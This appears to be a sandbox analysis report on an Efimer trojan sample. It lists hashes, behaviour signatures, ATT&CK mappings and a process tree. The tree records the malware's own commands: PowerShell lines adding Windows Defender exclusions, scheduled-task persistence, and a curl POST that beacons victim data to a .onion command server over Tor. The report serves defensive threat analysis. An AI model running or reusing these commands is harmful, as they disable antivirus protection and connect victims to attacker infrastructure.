efimer | 96a7d6c44d0519b6d596d49fe52fc1e56011dd36df5dfd30e0e74a0065a3156c

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
07/05/2026, 14:06

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General

Target
common.dat.exe
Size 12.0MB
Sample260507-rem6daex9z
SHA256 96a7d6c44d0519b6d596d49fe52fc1e56011dd36df5dfd30e0e74a0065a3156c
MD5 5026982ad2d4c7bf26742c88a1e37647
SHA1 a967fc4adb4f058153dcda13268e9a9acf10842b
SHA512 c394ad8998fcd404a40405585bc4b922370303cf766ce00338bd273e92729aadda2599f8587841b552fcb98eb36036fc2d137a0515b6492a4d1a00664040e020
SSDEEP 393216:62hZJKDm+tlHHSJLuYuXMCHWUjX/cuI3/PGTAI:62bJE45uXMb8XUH/O7
TLSH
T133D63319A9D272FEC3B280B8B6D17AF1F168B4B4137ACD2F5358CBB46C67590462D087
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution efimer persistence trojan

Malware Config

Signatures

Family: Efimer
Efimer is a trojan written in JS.
trojan efimer

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5320	powershell.exe
5144	powershell.exe
4332	powershell.exe
2028	powershell.exe
5100	powershell.exe
5524	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1948	ugate.exe

Loads dropped DLL 15 IoCs

pid	Process
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe
2012	common.dat.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
2	ipinfo.io

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5760	schtasks.exe
1080	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2012	common.dat.exe
2012	common.dat.exe
5144	powershell.exe
5144	powershell.exe
4332	powershell.exe
4332	powershell.exe
2028	powershell.exe
2028	powershell.exe
5100	powershell.exe
5100	powershell.exe
5320	powershell.exe
5320	powershell.exe
5524	powershell.exe
5524	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	common.dat.exe
Token: SeDebugPrivilege	5144	powershell.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	5320	powershell.exe
Token: SeDebugPrivilege	5524	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 2012	4988	common.dat.exe	80
PID 2012 wrote to memory of 2728	2012	common.dat.exe	81
PID 2728 wrote to memory of 5144	2728	cmd.exe	83
PID 2012 wrote to memory of 3452	2012	common.dat.exe	84
PID 3452 wrote to memory of 4332	3452	cmd.exe	86
PID 2012 wrote to memory of 2328	2012	common.dat.exe	87
PID 2328 wrote to memory of 2028	2328	cmd.exe	89
PID 2012 wrote to memory of 480	2012	common.dat.exe	90
PID 480 wrote to memory of 5100	480	cmd.exe	92
PID 2012 wrote to memory of 1696	2012	common.dat.exe	93
PID 1696 wrote to memory of 5320	1696	cmd.exe	95
PID 2012 wrote to memory of 5340	2012	common.dat.exe	96
PID 5340 wrote to memory of 5524	5340	cmd.exe	98
PID 2012 wrote to memory of 5652	2012	common.dat.exe	99
PID 2012 wrote to memory of 5760	2012	common.dat.exe	101
PID 2012 wrote to memory of 1080	2012	common.dat.exe	106
PID 3860 wrote to memory of 1948	3860	wscript.exe	110
PID 3860 wrote to memory of 4048	3860	wscript.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\common.dat.exe
"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Users\Admin\AppData\Local\Temp\common.dat.exe
  "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ayuno'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ayuno'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-MpComputerStatus | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5524
- - C:\Windows\SYSTEM32\curl.exe
    curl -s --max-time 10 https://ipinfo.io/country
    3⤵
    PID:5652
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn uyusa /xml C:\Users\Public\Documents\ayuno\uyusa.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5760
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn udizo /xml C:\Users\Public\Documents\ayuno\udizo.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1080

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:2928

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\ayuno\uyusa.js
1⤵
PID:2228

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\ayuno\udizo.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3860
- C:\Users\Public\Documents\ayuno\ugate.exe
  "C:\Users\Public\Documents\ayuno\ugate.exe"
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-41741d12&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
  2⤵
  PID:4048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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